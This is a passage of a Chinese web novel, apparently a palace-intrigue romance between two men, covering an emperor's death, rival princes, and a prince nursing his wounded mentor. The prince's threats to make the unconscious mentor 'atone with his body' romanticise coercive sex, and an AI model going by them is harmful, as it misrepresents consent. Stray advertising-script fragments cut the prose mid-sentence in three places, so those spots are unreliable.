顾棉隐去眸中惊色,沉声,“本王只问一个问题。” “周卜易是什么人?” 其实答案已经很明确了不是吗? 从再见面那天起,周卜易就已给了答案。 “他是护龙一脉当代话事人,是你的家奴”,苏月息弯了弯眉毛,勾起唇角,“你的护道人。” “他存在的唯一目的,就是送你这条真龙登上千百年来从未有人坐上的那个九五至尊之位。” ——所以从来没有爱,从来不该有期待,周卜易会帮他,仅仅因为周卜易是他的护道人。 顾棉感觉心脏有点受不了。 曾以为的一刹动心、片刻温情,原来都是吊着他的手段。 难怪周卜易总与他保持着距离,却又给他点希望,让他努力追赶去缩短距离。 追上了又如何呢?然后呢?然后还是不会有任何结果。 他曾以为周卜易对自己的特别、对自己的不设防是因为周卜易对他有情。 可原来竟是这么可笑的原因吗? ——百年磨九器,器主顾容安。 器主顾容安! 去他妈的器主!他有说过要做天子吗?!这些人凭什么自以为是替他做决定! 周卜易! 顾棉眼睛不受控地泛着猩红,他很想现在就回去,掐着周卜易脖子,操/死这个绝情的王八蛋! ——王八蛋周卜易!疼死他都是该的!本王多余操这个心! 本王还管他干什么,他爱反不反与本王何干! 顾棉气得眼睛都有点发绿了,脸色铁青无比,他几乎就要不管不顾冲回府去,狠狠做周卜易一顿给这王八蛋一点教训! 他还没站起身,巨大的钟鸣声便响彻整个神都! ——什么情况?! 随着这一声钟鸣,接二连三的钟声响起,且绵绵不绝。 声音从四面八方传来,这是……神都所有寺庙都在敲钟! 历来只有皇帝驾崩才会如此! ——顾君颐死了?! 难道是顾承年等不及下手了? 应该不至于吧?! 顾棉目光忽然停顿了一下——苏月息眸中没有意外。 所以,是周卜易动的手?! 23. 用你的身体抵罪 狗皇帝死得蹊跷,搞不好现在入宫会惹上什么大麻烦。 顾棉强迫自己冷静下来,他想到自己手中还有一支暗卫可用,那是他这么多年来悄悄培养的。 不能在问青天用他们,但凡他有一丝异动,苏月息她们恐怕会立刻找机会告诉周卜易。 顾棉也不知道自己在别扭什么,他脚步有些沉重,下楼的动静有些大。 苏月息就在二楼,倚栏挥帕,“三爷~奴家等您再来呀~” 顾棉一想到这女人是他小姑,就不由一阵恶寒,后颈起了一层鸡皮疙瘩,脚底抹油似的一溜烟就消失了。 ——宫里不能去,还是回家找某个混蛋算账。 顾棉走到一条偏僻小巷,从前往后数了第七棵槐树,折下一根枝条,枝稍系上黄丝带,然后插进了土里。 做完这一切,他没再停留,转身就走。 在他身后,一个咬着手指头脏兮兮的小乞丐左顾右盼了一阵,解下丝带进了一家药铺。 药铺里坐诊的老先生头也不抬,接过丝带,递了一个扎好的药包过去。 那小乞丐一边啃指甲,一边蹦蹦跳跳出了巷子,不知去往何方。 顾棉去马庄牵了一匹马,身姿矫健翻身上去,纵马狂奔。 一路撞翻不少摊子,索性没伤到人。 再乱一点,再乱一点吧! 顾棉心一横,调转马头,往宫门前跑去。 越乱越好,只有够乱,才能争取到更多时间。 地上到处散落着包子,有的被踩踏,有的被饥肠辘辘的贫民抢进怀里。 包子铺的老板望着顾棉的背影,嘴里的咒骂没有一刻停息。 茶楼上,顾承年听到钟声不由紧皱眉头——父皇怎么忽然就驾崩了? 是太子动的手? 顾承年转身,对着一个一身黑衣头带黑色斗笠的人说了什么。 那人沉思片刻,食指沾了沾茶水,在桌上化了一个圈,然后打了一个箭头。 “真要如此?”顾承年无奈轻笑,叹息出声,然后道,“你先回去吧,本王去看看我那傻弟弟。” 黑衣人从正门出去了,顾承年坐了一会儿,往着木墙边走去。 他往窗外看了一眼,然后伸手推了推木墙,那墙竟是打开一条缝,他走了进去。 隔了不久,顾承年从隔壁房间大门出来。 他脸上有着若有若无的愁容,路过包子铺时,伸手递了几两银子过去,歉意笑笑,“抱歉…父皇走了,本王三弟也是心情不好……” “不要见怪”,顾承年解开腰间荷包,“一应损失,本王会赔。” 他将荷包递给包子铺主人,强颜欢笑,“本王急着入宫,麻烦你给大家分一下好吗?” 护卫牵来一匹白马,顾承年上马追顾棉去了。 宫门前,顾承年拦下顾棉,神态焦急,眉心下陷,带着数不尽的担忧,“阿棉…听话……这事不是你能掺和的,皇兄会处理好,你回去吧……” “太子很可能弑父篡位,父皇已死,他的刀下一个斩的就是……你我。” 顾承年忧郁的眸子望着顾棉,像极了一个为弟弟着想的仁厚兄长,“外面的风雨有皇兄扛着,阿棉回家去吧,家里安全。” 家里安不安全不知道,一旦今日他回头,将永远失去夺嫡资格。 但……这正是他想要的。 顾棉故作犹豫,然后道,“皇兄……我想看父皇一眼……我……” “皇兄知道父皇宠你,你也最喜欢父皇了,不过阿棉,你要知道,宫里危险”,顾承年叹了口气,伸手摸摸顾棉脑袋,语气宠溺,“乖,先回去,皇兄会派人保护你的。” 顾棉在心底冷哼一声,顾承年说得好听,其实就是想软禁他,少一个竞争对手。 但他面上不显,只是点点头,懵懵懂懂道,“容王府很大,皇兄可能要多派一点……” 说到这,他情绪有些低落,垂下头颅,“我没有培养过亲信,帮不了皇兄什么……” “没事的”,顾承年笑容越发温和起来,“人各有志,阿棉喜欢玩乐就放开去玩,大不了皇兄养你一辈子。” 顾承年又塞了几张银票过去,“不够了再跟皇兄说,记住,皇兄是你最亲的人。” “皇兄……”顾棉忽然拽住顾承年袖子,“可以再给我五万两吗?” ——既然要走,临走前能多薅一笔是一笔。 这样路上也能舒服点,后续要招兵买马的话…… 顾棉脸色薄红,“之前的玩腻了,我想买下问青天的新头牌……” ——既然问青天是周卜易的,那他往问青天花银子,就能不动声色转移财富。 反正周卜易是他的。 顾棉忽然想起自己之前拿着顾承年的钱在问青天跟人斗富…… 那些钱都进了周卜易的腰包吧? 顾承年脸色微变,顾棉都要以为他不同意了。 顾承年沉吟片刻,招手叫来一个护卫,“你去一趟家里的钱庄,取五百万现银。” 顾承年不怕顾棉找他要银子,他就怕顾棉不要。 顾棉若是不要,那就说明此人有心机,绝不能留。 但既然顾棉好色又愿意找他开口,那就好拿捏多了。 一切能用银子解决的事那都不叫事儿。 顾承年温柔笑笑,拍拍顾棉肩膀,“你先回家去,皇兄一会叫人给你送过去。” 顾承年还有别的考量,之所以给现银不给银票,正是因为现银重,不知道要抬多少箱。 他也不是防着顾棉,只是这个时候不宜让他这傻弟弟出来捣乱。 先拖一会儿再说吧,等事情解决,顾棉爱怎么玩怎么玩,左右他富可敌国,也不怕顾棉把他给玩虚了。 顾棉目送顾承年进宫,然后转身回府。 身后两长队顾承年的人护送。 他们送顾棉进府后,就把容王府围了个水泄不通。 容王府是他的家,他自成年以后,就一直住在这里。 可他从前几天才感到这里有一丝家的味道。 他这王府里杂七杂八什么人都有,有皇室的人,有诸国的细作,有不相干的普通人。 就是没有一个人在等他回家。 现在有了,不管周卜易出于什么理由,至少现在有人会为他牵挂。 ——如果你对我有情…… 别想了……周卜易不会有。 顾棉闭上眼睛,他不想让外人看见他内里的脆弱。 这么些年来,习惯了伪装,习惯了密不透风,习惯了在身上裹个坚硬的壳。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 只有周卜易见过他的柔软。 他像是一个自己打开壳的蚌,邀请周卜易把玩他柔软无骨的腹腔。 然后换来的呢? 是周卜易往里面倒了一桶沙子,然后嘲笑他是个看不破的傻子! 华云舒踏出殿门的时候,愣了一下,然后道,“王爷,针已取出,大人还没醒,您要进去看看吗?” 顾棉点点头,华云舒很快退到一边。 顾棉目光稍加偏移,看见窗格上有一片红叶。 嗯?这树的叶子怎么会出现在这里? 这树只在王府前栽了两棵! 华云舒也看到了这红叶,他心头一跳,咳嗽两声,“快到晚膳时间了,王爷快进去吧。” 顾棉心里存了疑,目光微沉,但没说什么,进去了。 华云舒借着帮他关门的机会,不动声色用袖子卷走了那片红叶。 ——长兴来过?不是叫他好好看着门,防着点…… 所以……一定是外面出大事了! 华云舒回到客房,仔细搜寻了一番,果然在花瓶里找到一张纸条。 ——初一溶金,初二…… 华云舒很快解读出它的意思,“朝歌国君已经死了?怎么会这么快……按公主走的时间,怎么着也得再要几天才能发作……” “也是,顾君颐日夜吸食大烟,那东西……好人都能变成鬼。” “嗯……”华云舒思索了一阵,“还有这尚方剑怎么被放到了墓里?墨家是怎么想的,难不成要殿下去冒险闯阵不成?” “不……他可能是想借此揪出我们之间的那个叛徒,并且引那边土夫子现身,但是……如果墨连城就是那个叛徒,殿下岂不是很危险……” 之前在华府,那几个医家的杂碎已经被他和肖珩做掉了,其中就包括山下野鸡。 至于那个采仙姑,虽然经常招摇撞骗作恶多端,但大人不知为何要保她,便让他们放走了。 剩下无关的人醒来后估计也不敢乱说什么。 这一次是要对付倒斗之人,难道胡家那个人要出手了吗? 那可是正儿八经摸金传人,同样也是上谱的人。 胡一窦这个人,可是性情古怪得很,希望不要起什么不必要的冲突…… 周卜易睡颜很安静,又或许是被麻得动不了了吧。 顾棉坐到床边,掀开被子看了一下。 美人全身包满了白布,斑斑点点的血印在布上。 浓郁的药苦似乎要将这人腌入味儿。 “周卜易,你不会一觉睡着不醒了吧?”顾棉有一搭没一搭说着,“你必须醒,然后给本王一个合理的交代。” 明明进门的时候还火冒三丈,为什么一见周卜易紧闭双眼,就好似瞬间被冷却? 脑子都被冻坏了一般,他酝酿了半天,只能酝酿出一个心疼的情绪。 “周卜易,本王告诉你,本王这次真的很生气”,顾棉垂眸认真整理美人粘在脸上的碎发,“等你好了,拿你的肉/体来请罪。” “本王记仇,你从前使的坏,本王心里有本明账。 “做一次,翻一篇,然后既往不咎。” 顾棉低头,在美人额头印下一个吻,“一次一整夜。你可以继续使坏,只要你身体受得住。” 24. 一张小板凳 入夜,已近秋日,白日温度散去后,殿内逐渐下凉。 顾棉坐在小凳上,趴在床边睡着了。 他与还在昏迷的美人共枕,距离极近,几缕发丝甚至都能相触在一起。 周卜易到了后半夜,身上开始大颗大颗冒冷汗,血液渐渐晕开在白布上,很快就尽数染红。 顾棉惊醒了,他的眼睛印着飘摇的残烛,印着美人痛苦煎熬的脸庞。 ——他的脸……好红。 可是也好白。 顾棉不知道怎样形容,周卜易这个样子就像是一个涂了腮红的纸人,除了脸侧不正常的潮红,便只剩下苍白。 顾棉伸手,手背搭在美人额头。 又发烧了吗? 顾棉站起身,匆忙间踢掉了一只靴子,可他顾不上这许多,踉跄着跑到外室。 “去…去找云公子!快!” 守夜的小婢女原本正在打瞌睡,见到王爷一头乱发面目狰狞的样子吓了一跳,连忙抬手捂住嘴止住了就要溢出来的尖叫,点点头,提着裙子快步离开了。 顾棉倚着门,慢慢往下滑落。 他腿软,他真的腿软,整个人都不受控制地打起颤来。 那双望着周卜易的眸子,渐渐就湿润了。 他颤抖着手,去袖袋里摸糖。 “先生……先生你不能太自私……” 顾棉剥开糖纸,脚底发飘,还没走到床边,膝盖一软就磕在了地砖上。 “周卜易,你不能这么自私!”顾棉咬咬牙,挪起身,勉强提起一丝力气,凑到美人面前。 这糖……会很甜的吧? 他还一颗都没舍得尝过呢。 顾棉将糖放入口中,然后低头吻住美人。 ——好甜,原来它是这么甜。 周卜易,吃了本王的糖,就要答应本王走出来。 周卜易,你最厉害了,本王崇拜了你一辈子,你不能在这个时候当逃兵。 那糖渐渐化开,顾棉恋恋不舍松开美人的唇。 那么甜,那么使人留恋。 好舍不得…… “先生乖…别怕,容安在这里”,顾棉小心翼翼折起空了的糖纸,把它收进了靠近心窝的位置。 “睡吧先生,容安就在这看着你。” 顾棉伸手揉周卜易深陷的眉心,可揉了好久都不见它展平。 “周卜易…你…”,顾棉眼眶不知何时已经染上点点红色,“你以为死了就能逃得了吗?” “本王狠狠心,连尸体都上又如何!” 华云舒为什么还没来……他就不能再快一点吗?! 身后是一阵匆忙的脚步声,顾棉猩红着双眸回头,却发现是一个端着碗的婢女。 “云公子累了一天,我们叫不醒他……不过他之前说过,下半夜会出现这种情况是正常的……他晌午就嘱咐膳房熬了药。” 婢女放下碗,施了一礼就离开了。 顾棉一顿。 ——自己怎么会反应这般大……更是连理智都无存,实在不应该…… 顾棉端起碗时,胳膊还有些细微颤抖。 为什么他的担忧如此深入骨髓,已经到了一点点征兆就自己吓自己的地步? 顾棉抿了唇——他惊慌失措的样子看上去一定很没出息…… 周卜易啊周卜易,本王何时中毒竟这般深了呢? 毒瘾难戒,食髓知味之后,只怕更不愿再放手。 顾棉又一次俯身,喂完了退烧的药汤。 夜还长,顾棉坐回小凳上,在昏暗的烛光中盯着周卜易长长的睫毛看了很久,然后把头埋进臂弯里睡着了。 他做了一个不算短的梦。 奉源八年秋,南境全线崩溃,顾泽舟临危受命挂帅出征。 那一年周卜易毅然决定跟随顾泽舟去边南关。 深宫冷清,外臣本不可入内。 可周卜易总是那么神出鬼没,他就在上阳宫偏殿喝茶,也没有任何人发现。 顾棉那时候很小,温妃招手想让他坐到身侧来。 顾棉抱着自己的小板凳,把它放到了周卜易身边。 周卜易挑了下眉,捧杯欲饮,却感到一阵拉力。 他低头,就看见顾棉拉着他的袖子,小脸皱起来,一副不高兴的样子。 顾棉也仰头看周卜易,他其实没什么想法,只是觉得边南关太危险,他不想让周卜易去。 温妃一边添茶,一边问道,“大人何必亲身犯险?” 顾棉只记得那时候周卜易没说话,只是神色复杂看了他一眼。 然后周卜易笑了,“公主何必自误,若此去便算得上险境,后面岂不是要九死一生?” 温妃看着周卜易,轻轻,“此去是否可以带上……” 周卜易拒绝的很干脆。 “还不是时候。” 于是在某一个秋风凛冽的清晨,周卜易跟着远征的大军走了。 周卜易八月中旬出发,未至下旬就稳定了局势,一举夺回边南关。 那些年周卜易就是公认的定国神针。 出将入相,说的便是这般传奇人物吧? 那时候周卜易才堪堪十几岁而已。 天终是一点一点亮起来了,顾棉伏在床头,还未醒。 药劲已经散去一些了,周卜易偏了头,动了动胳膊。 很痛,但其实也没有什么,他在诏狱受的哪一样也不比这好。 周卜易深邃的眼睛,凝望着顾棉的睡颜。 ——这么大个人了,还坐这么小的凳子,也不嫌难受…… 那小板凳的木料已经有些霉黑了,看上去就有年头。 曾有个小孩,踩着这小凳给他按头。 顾棉曾无数次坐着这张小凳,小脑袋放在他腿上,陪着他懒洋洋晒太阳。 午后阳光催人懒,那大概是周卜易一生都少有的惬意时分。 这张小凳承载了太多回忆,他看过顾棉吃力地借助小凳爬上大椅子,也看过顾棉搬来小凳坐在树下,撑着脑袋沉思。 他远远看过太多顾棉曾经的身影,看久了,就不由自主在心中贪念这一分安定。 他心里打了退堂鼓,他不想再去饥餐露宿,沙场拼命。 那是他身为护道人绝不该有的心思,于是他终于一走了之。 十年不再入神都。 十年无情冷血,还不够将你的心性磨炼强大吗?周卜易这样问自己。 ——最多三天,你必须走出来。你当然可以害怕可以 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 退缩,然后你的使命无法达成,你将死不瞑目。 周卜易躺了很久,也想了很多。 前路已经铺好,但难保不会有意外。 顾棉醒来的时候,就看见美人一脸冷淡嫌弃望着他。 顾棉一愣,随即握紧了拳头。 怎么会有人不识好歹到这种地步! “本王……” “醒了就请您麻溜点先滚出去”,周卜易神色相当不悦,“省得再给奴下点春药什么的,奴招架不住。” 他还没说什么呢,这混蛋倒先问起罪来了! 不过听这声音,周卜易应是在好转了。 顾棉还有事要做,嘱咐膳房熬粥后就准备出府了。 他要将昨日抬来的银子都“花出去”。 顾棉推开府门,跟外面围着的护卫统领说了声。 那统领点点头,派人进府搬箱子,他自己则紧紧跟在顾棉身后。 他的任务只是看紧顾棉,别让顾棉靠近皇宫,至于顾棉去哪里玩,干什么荒唐事,那都不是他该管的。 周卜易唇角滑过血痕,刚才还中气十足的声音转头就变得虚弱至极。 华云舒一边拿帕子给他擦了,一边给他换药。 “大人…顾…顾君颐死了”,华云舒知道周卜易素来谨慎,来的时候就收起了身上所有尖锐之物,还特意叫周卜易仔细检查了一道,才敢靠近。 醒着的大人太可怕了,他心里发怵。 “另外,东鼎胡家已经出动,尚方剑也在那里。” “哪里?”周卜易轻拧了眉,说话间又溢了血出来。 华云舒叹了一口气,拿起刚放下的帕子,又擦了擦,“不知道……” “应该…安排在我们回北离的路上?” “回北离是谁的决策?”周卜易眉头越发紧锁,“又是黎阳春?” 华云舒愣了一下,试探道,“我们……不回去吗?” “公主她…让您找个机会取代北离皇室……” 周卜易冷笑了几声,斩钉截铁直接做了决定,“去边南关,先取南方诸国。” “北离?让黎阳春自己回去吧!” 周卜易如毒蛇般冷厉的目光吓得华云舒手狠狠一抖,那帕子就落了地。 他弯腰去捡,掩饰自己眼里的恐慌。 决策的人不止是黎阳春,也……有他。 周卜易看到华云舒这个样子,就猜到了个八九不离十,但他并没有解释的打算。 一群自以为是的蠢货! 北离是现在能回的吗?!这些人是巴不得把顾棉往火坑里推!没事都要整点事出来! 周卜易眼神越发冰冷寒凉,沉得仿佛能滴出水,“通知胡一窦,将尚方剑转移至岭南大墓,然后放出消息,就说……” “就说……那里有九州鼎!” “什……什么!”华云舒大吃一惊,瞬间跪倒在地,“大人!大人万万不可!” “你慌什么”,周卜易瞥了他一眼,“回头叫墨连城做个假的放里面就是了。” “另外,墨家如果想在墓里加料,所有改动之处必须绘制图纸,然后不着痕迹送到顾棉手上。” 至于是拍卖还是别的什么戏码,那就不是他该操心的事了。 25. 不至于哭吧 顾棉走在进宫的路上,入眼的是家家户户门前挂起的白布条。 有钱的挂白帆,没钱的系白布条。 天下缟素,容王府自然也不能例外,许永元连夜安排人在府门牌匾上垂了丧幔。 王府里面一片盐白,纸钱飘得到处都是,堆积在阶下、树根,像下了一场夏末的大雪。 顾棉低头,一个穿得破破烂烂的老妇跪在路边,手里是一串开裂的佛珠。 她闭着眼睛,虔诚祈祷。 “我佛保佑……” 保佑谁呢?顾棉往那座被红墙圈起的宫殿看了一眼。 顾棉继续往前走,那老妇睁开眼睛,看见他的背影,冲他走过的地面啐了一口浓痰。 她不敢发出太大的声音,可顾棉还是顿住了脚。 老妇连忙用袖子抹去了痰,然后低头跪拜。 顾棉感到莫大的悲哀。 这些被蒙住了眼睛的百姓,看不清谁才是众生的苦厄。 他们只知道吾皇万岁。 这条路他走过很多遍了,什么地方有道坎,什么地方砖碎了一半,他都烂熟于心。 可当他抬起头时,却又觉得这长街如此陌生。 东头那家当铺变成了烟馆,里面汗臭味儿冲天,烟雾缭绕好似在作法。 西头胭脂水粉卖不出去,改卖“美人盂”,数不尽的达官贵人来来往往。 顾棉加快了脚步,那里面的丑态着实令人作呕。 顾棉路过的时候,里面的人脸上堆着笑,恭恭敬敬行礼。 顾棉走远后,一口口唾液喷在地上,似乎是在洗刷他走过的路面。 他们讨论着他的荒诞——“这圣上都仙去啦,三爷居然还跑到青楼耍!” “哎哟,那大把大把银子流水似的往问青天后院搬呐!那鸨婆,嘴都笑歪啦!” “这不是大不敬吗?举国同丧,这帮娘们还享乐呢?真没一个好东西!不过那老鸨的腰是真的细,脸蛋儿也润呐!” “老子穷得要吃土,那狗日的顾棉怎么就这么阔!老子要是阔了,定要提枪杀得那问青天的小妖精们片甲不留!” “你婆娘不要啦!” “早卖了!五两银!够老子逍遥半个月了!” “哪里卖的?就你家那黄脸老太婆能给这么多?” “还不是问青天!说是做杂役去了!” 烟馆里面的“大爷”们,一边扣着脚丫子,一边掏着门牙上粘的菜叶子,一边吞云吐雾,一边不停往四周喷口水。 好像他们再多说几句,就能比那狗日的顾棉高一等。 顾棉没有放在心上,只是脚步越发快了。 今日是娴贵妃入皇陵的日子,顾承年再怎样,也不会拦他去见自己母妃最后一面。 顾承年站在宫门口,抬手摘下顾棉头发上的一片菜叶。 “走吧”,顾承年自然而然牵起顾棉的手,“皇兄陪你。” 说着就要拉顾棉进去,只是用了力,却没能拉动。 “怎么了?”顾承年温和的眸子看向顾棉,“先前你去……” 顾承年停顿了一下,“就已误了时辰……” 顾承年脸上浮现一丝为难,不过很快变成温润,“没事,阿棉不必自责,皇兄已另选吉时。” 顾承年会来接他是意料之中,他现在要尽量拖延时间。 之前他留下了暗号,让他在宫里的人挟持黎阳春去看他母妃真正的死因。 顾棉不知道黎阳春是护龙一脉的人,他只觉得此人谨慎,不会乱嚼舌根。 “皇兄,如果你想整一个人,你会怎么做?”顾棉一脸愤恨。 顾承年想到顾棉过来时头上顶着的菜叶子,叹了口气,“怎么了阿棉,这是让人欺负了?” 顾棉点点头,“是几个刁民……” 顾承年思量片刻,“还是边走边说吧……” “这折磨人的法子多的是,就看阿棉会喜欢哪样了”,顾承年紧紧握着顾棉的手,“阿棉明儿要跟皇兄去诏狱看看吗?” “那里面有些吓人,阿棉进去的话,不可以乱跑”,顾承年半开玩笑吓唬道,“乱跑的话啊,搞不好会遇到枉死鬼呢。” 顾承年看着顾棉后颈的鸡皮疙瘩,满意笑笑。 ——要的就是这个效果。吓一吓他,他会更加依赖自己的吧? 顾承年越发温柔似水起来,“子时就要封陵,现在已经巳时了,快走吧,再耽搁不得了。” “我看这天像是又要下雨”,顾承年接过护卫手里的薄披风,盖在顾棉肩上,低头为他认真系着肩带,“你啊,又贪凉,打小就这样,幸好为兄也备了你的。” 是有点转凉了,顾棉紧了紧披风,身上是暖的,心里却越发寒起来。 顾承年这是知道自己争不过太子,所以暂避锋芒拿他和母妃当挡箭牌吗? 顾棉目光晦暗下去,他认认真真送了母妃最后一程。 这位异国的公主,终是葬在了他乡。 顾棉紧赶慢赶,回府的时候也已经弦月高升了。 寝殿灯火阑珊,孤寂的烛光映着死气沉沉的夜。 美人卧榻,指尖顺着往下滴滴答答。 是血,抹了药的白布散开了几条,隔远了看不见什么,走近才发觉那皮上是密密麻麻针孔大小的血洞。 周卜易侧躺着,嘴唇发紫起了白皮。 枕边血迹斑驳——怎么又吐了血呢? 不是已经在好转了吗? 为什么……为什么…… ——好啊,周卜易,你又骗本王。 顾棉抬袖抹了抹眼角,凑近。 周卜易低声说着什么,一边说着一边呛血。 “徐川……” 徐川又是谁?顾棉贴近了一点,想要听清楚些。 “徐…归山……你…你先…跟我走……” 美人眼尾红了,“十八年了……那件事不全怪你……先跟我…出去……” 梦里那唤作徐川的人似乎说了什么,美人眼睛里盈着的泪瞬间就掉落下来。 “混账!我入诏狱救你,你就给我看这副丧样!” “徐归山!十八年前你是个懦夫!十八年后你还是个懦夫!” 周卜易忽然闭嘴,他安静了很久,然后脸上露出绝望的神情。 “归山……”周卜易努力抬起胳膊,在空气里胡乱划了一阵,“你…你让我杀了你?……你……” 更多的泪水流下来,“如你……所愿……” 顾棉轻轻握住了那只手。 你曾经经历过什么? 亲手送走自己的战友,是什么感觉? 原来你从来都不是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 怕痛,你是接受不了自己的无能为力。 可是啊,周卜易,圣人能无过吗? 你做不到完美无缺,你做不到的。 顾棉想起那个叫徐川的是谁了,他本是当朝宰相,十八年前他被查出是北离皇室细作,待捕快至他家中时,只发现一杯满满的毒酒。 他本是要饮鸠自尽的,可最后关头,他贪生怕死了。 徐川跑了,还没跑多远,就被追回。 徐川入了狱,整整十八年。 “那么多年了”,顾棉就着烛光,用湿毛巾给美人擦手,“那一年本王两岁,你也才十一吧?” 一个人入狱十八年,是生是死外人很难知晓。 所以周卜易为什么…… 周卜易一定还有别的理由,他最了解周卜易这个人了…… 大局当前,周卜易绝不会自误。 周卜易这个人,从来冷静得叫人生畏。 周卜易太清醒了。 就好像那一年的冬日,顾棉浑身湿透,一边被小公公手忙脚乱擦水,一边不甘心地看着周卜易绝情的背影。 那时候顾棉就想着,就算这里有很多外人,就算要伪装,也不至于这般狠心吧? 顾棉被带回宫,换了套干爽衣裳。 出来就看见周卜易背对着他站在窗下。 窗外是皑皑大雪,簌簌的风声将周卜易的发丝向后扬起。 顾棉打了个喷嚏,小脸酡红。 周卜易凝视着纷飞的雪花,然后转身。 “想去边南关吗?” 顾棉用力点头,然后便感到有点晕乎乎的。 周卜易扶了他一把,“你觉得那里是什么地方?” 顾棉眼睛闪着向往的光芒,“那里是出英雄的地方,葡萄美酒夜光杯……” 周卜易冷笑一声,嘲道,“八百里分麾下炙,五十弦翻塞外声?” “我告诉你什么是真相”,周卜易忽然就收敛了所有神情,脸上只剩下死寂。 “八百里尸横遍野! “五十弦翻新丧声! “没有葡萄美酒夜光杯,只有醉卧沙场无人回。那里不是英雄的出处,那里只是将士的坟墓。” 顾棉只觉一桶冷水从头泼到脚。 “可是……”顾棉声音越来越小,“先生誓师的时候,说得很动人心魄,很……我说不上来,但是听完后我觉得身上的血在燃烧。” 周卜易冷冷瞥了他一眼,声音很淡,没什么感情,“我骗他们的。” 什么建功立业,只有青山埋骨。 什么光宗耀祖,只有家破人亡。 “你觉得那河水冷吗?”周卜易轻蔑的目光仿佛要将顾棉钉穿。 “在边南关的冬日,潜伏的将士彻夜彻夜泡在结了薄冰的水渠里,连头都埋在水里,只用芦苇管维持呼吸。 “这样的冷,他们要受一整夜,多少人永远冻死在了湖底。 “恕臣直言,就您这娇气样,难道要让臣行兵打仗时还专门用张轿子抬您吗?” 顾棉咬唇,克制着即将掉下来的泪珠。 “顾姑娘,臣不过说了两句实话,不至于惹您哭吧?”周卜易伸指头,戳顾棉眉心。 “拿着桌上的剑,跟我走”,周卜易懒散下来,身子斜倚着窗台,“别说臣不给您机会。” 26.本王没有害羞! 窗外秋风凉雨斜打进来,落花铺满庭院,几度夜深。 模糊可见烛光明灭,疏帘风透,金兽香飘,兰烬垂落。 再听那更漏声声,檐外青瓦滴泪似要到天明。 于是顾棉低头,从回忆中走出,一点一点将布条缠回美人身上。 窗外大红的海棠落了,像在地上绽开的一朵朵血。 周卜易很安静,没有前几夜那样的癫狂,他只是用一种极度落寞的目光凝视着床尾空气。 那悲怮的双眸是如此……令人心碎。 顾棉抿唇,不敢看周卜易的眼睛。 可是他也不想看周卜易满身血布的样子。 他索性闭了眼,可一闭眼,那过往的音容笑貌又惹他平白与如今做了对比,于是心里一口气便直直梗在胸口,闷得叫人生疼。 顾棉一腿跪上床,然后弯腰将自己的脸蛋与周卜易贴在一起。 “周卜易,本王知道你听得见”,顾棉伸手抚摸美人碎发,“别陷太深了,别叫本王看不起。” 清风吹铃响,顾棉合着风铃,轻轻唱,“星儿闪,月儿忙。” “星河亮,放光芒。 “先生别怕噩梦狂, “星星陪你入梦乡。” 顾棉脸上爬过一抹薄红。 他不愿承认自己那点可笑的羞涩,只把一切归结于那钻进窗隙的可耻寒风。 一阖眸,是从前。 一回想,是曾经。 顾棉小时候身体不好,有一年换季的时候不知道怎么生了一场重病。 迎风就咳嗽,请了多少太医也治不好。 往往咳得脸似火烧,肺似蚁咬。 脑袋瓜子也不好使了,总是昏昏沉沉的。 他揪着周卜易的袖子,拼命要往周卜易怀里钻。 那是头一回,周卜易就这么任他钻了。 周卜易半搂着他,给他剥着枇杷。 黄澄澄的枇杷剥出来,放入口中酸不滋儿甜不溜儿的。 周卜易剥完了一小盘,用湿毛巾擦擦手,捏起一颗喂给他吃。 “风快走,雨别飘。 “伤寒疫,莫打扰。” 周卜易拍打着他的后背,声音轻柔得都不像是周卜易了。 像是一场病重昏迷后的幻想。 像是一场遥不可及的梦,触碰永远是奢望。 可嘴里的酸甜告诉他,这都是真的。 “殿下好好睡一觉, “臣将病痛都赶跑。” “棉丫头啊,这般体弱可怎么好”,恍惚间,他好像看见周卜易在笑。 笑里藏着一丝掩不去的担忧。 他伏在周卜易膝头,迷迷糊糊睡着了。 他砸吧着小嘴,美滋滋地想着,先生变温柔了,等他先睡一觉养养静神,睡醒了一定要趁热打铁缠着先生带他走。 他太困了,头也好痛。 其实他还想要再跟先生亲昵一会的,可是他两眼皮子架打得厉害,到底是没能抗住困意。 再醒来,他躺在床上,目光所及只有雪白的纱帘蚊帐。 桌上放着个小瓷罐,里面是雪梨和枇杷打的膏,似乎熬了很久,香气扑鼻。 可是周卜易又不见了。 顾棉鼻头一酸,用额头抵着美人眉心,“先生乖乖睡一觉,容安在这,梦魇统统不敢扰。” 是奇迹还是什么鬼神难说的力量呢? 就像当年他吃完枇杷膏后就止了咳好了病。 周卜易的神情竟渐渐放松下来,颇为复杂地看了顾棉一眼,便阖眸沉沉睡去。 还有半个时辰才天亮呢。 顾棉都有点喜极而泣,只是不知道想到了什么,他眸光一沉,克制住了。 得抓紧时间睡一会,还有好多事要做…… 顾棉把窗边软榻移过来,与床挨在一起。 身上盖了张薄毯,同样也睡着了。 辰时,两人一前一后几乎同时醒来。 华云舒背着药箱进来,顾棉也不回避,就坐在一旁默默看着。 华云舒欲言又止,最终还是没说什么。 ——都是男子,谁比谁多什么不成?怕啥,有啥好保守的? 华云舒在心里默念了三遍,刚要上手,就被周卜易瞪了一眼。 “不必了,滚出去。” 顾棉嗖一下站起来,影子打在美人身上,威压不自觉流露出来。 华云舒抖了一下——他简直是左右为难。 什么苦差事!下次叫黎阳春那家伙来好了! 华云舒愤恨不平的想着, “这个……”华云舒把药箱伸到顾棉面前,“要不臣走?王爷来?” “那个……大人那个眼神太吓人了……臣恐手抖伤了大人,王爷……” 见顾棉接了箱子,华云舒干脆连后面的借口都懒得编完了,直接跑路。 顾棉轻挑了眉。 ——刚刚什么东西呼一下窜出去了? 那是人能做到的速度吗…… 顾棉把药箱放到桌上,从里面找出膏药和布条。 美人的眼神很凶,但显然这只病猫并没有什么威胁性。 顾棉把被褥掀开,然后手迟疑了一下。 只是一瞬,他带着不容置疑的态度,解开那些布条。 已经开始结痂了吗,只是有几处崩开。 没关系,能这样已经很好了,已经在好了。 顾棉压抑着心痛,细致而尽量快的换完了药。 他坐在床边,用手小心翼翼托着周卜易的脑袋,好让周卜易枕在他大腿上。 热粥被端上来,顾棉确定吹凉了,才放到周卜易唇边。 